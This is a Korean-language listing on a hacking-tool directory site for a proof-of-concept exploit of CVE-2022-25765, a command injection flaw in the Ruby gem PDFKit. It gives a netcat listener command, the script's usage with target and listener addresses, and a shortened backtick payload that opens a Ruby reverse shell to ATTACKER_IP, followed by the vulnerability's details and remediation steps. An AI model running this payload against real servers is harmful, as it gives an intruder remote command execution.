Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-25765 — CVE-2022-25765용 익스플로잇 | Kitploit
도구/GitHubGitHub/lowercasenumbers/cve-2022-25765
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHublowercasenumbers/cve-2022-25765

CVE-2022-25765

CVE-2022-25765용 익스플로잇

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-25765 익스플로잇

CVE-2022-25765, PDFKit-CMD-Injection에 대한 작은 PoC 익스플로잇

사용법

  1. 공격 머신에서 netcat 리스너를 시작합니다:

    root@kitploit:~
    nc -lvnp 4444
    
  2. 익스플로잇을 실행합니다:

    root@kitploit:~
    python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
    

예시:

root@kitploit:~
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444

매개변수:

  • -t, --target: 취약한 PDFKit이 실행 중인 대상 URL
  • -l, --lhost: 리버스 셸 연결에 사용할 본인의 IP 주소
  • -p, --lport: 리버스 셸 연결에 사용할 포트 (netcat 리스너와 일치해야 함)

취약점 정보

CVE ID: CVE-2022-25765 CVSS v3.1 점수: 9.8 (치명적) EPSS 점수: 71.381% (99번째 백분위) CWE: CWE-77 - 명령에 사용되는 특수 요소의 부적절한 중화

영향을 받는 버전

  • 취약한 버전: PDFKit 0.0.0 - 0.8.6
  • 패치된 버전: PDFKit 0.8.7.2+

설명

PDFKit은 wkhtmltopdf 명령줄 도구를 사용하여 HTML을 PDF로 변환하는 Ruby 젬입니다. 이 취약점은 PDFKit이 URL 매개변수를 시스템 셸 명령에 전달하여 PDF를 생성하기 전에 처리하는 방식에 존재합니다.

기술적 세부 사항

이 취약점은 URL 정화가 부적절하게 구현된 lib/pdfkit/source.rb에 존재합니다:

root@kitploit:~
def shell_safe_url
  url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end

문제점:

  1. PDFKit은 URL의 이스케이프 필요 여부를 판단할 때 결함이 있는 로직을 사용합니다
  2. 셸 메타문자(백틱, 세미콜론, 파이프 등)는 이 검사를 우회할 수 있습니다
  3. 정화되지 않은 URL이 wkhtmltopdf를 호출하는 셸 명령에 직접 전달됩니다
  4. 공격자는 서버에서 실행되는 임의의 명령을 주입할 수 있습니다

공격 벡터:

  • 복잡도: 낮음
  • 필요 권한: 없음
  • 사용자 상호 작용: 없음
  • 네트워크 액세스: 필요

이 익스플로잇의 작동 방식

이 PoC는 다음과 같은 방법으로 취약점을 악용합니다:

  1. 백틱 명령 대체가 포함된 악성 URL을 주입합니다
  2. 페이로드: http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
  3. PDFKit은 URL 매개변수의 백틱을 정화하지 못합니다
  4. wkhtmltopdf가 URL을 처리할 때 셸이 Ruby 리버스 셸을 실행합니다
  5. 대상 시스템이 공격자의 리스너로 다시 연결합니다

영향

  • 기밀성: 높음 - 전체 시스템 액세스
  • 무결성: 높음 - 모든 파일 수정 가능
  • 가용성: 높음 - 시스템 중단 가능성

성공적인 악용을 위한 사전 요구 사항

대상 시스템에서:

  • 취약한 PDFKit 버전 (< 0.8.7.2)
  • Ruby 설치됨 (리버스 셸 페이로드에 필요)
  • 애플리케이션이 사용자 제어 URL을 PDFKit에 전달하도록 허용
  • 아웃바운드 연결을 차단하는 이그레스 필터링이 없을 것

수정 방안

  1. PDFKit 업그레이드: 0.8.7.2 이상 버전으로 업그레이드
  2. 입력 검증: URL 입력에 대한 엄격한 허용 목록(allowlist) 구현
  3. 샌드박싱: PDFKit 프로세스를 최소 권한을 가진 격리된 컨테이너에서 실행
  4. 네트워크 분리: PDF 생성 서비스의 아웃바운드 연결 제한
  5. WAF 규칙: URL 매개변수의 셸 메타문자를 탐지하는 규칙 배포

참고 자료

  • NVD - CVE-2022-25765
  • GitHub Advisory GHSA-rhwx-hjx2-x4qr
  • PDFKit Issue #507
  • RubySec Advisory
도구 다운로드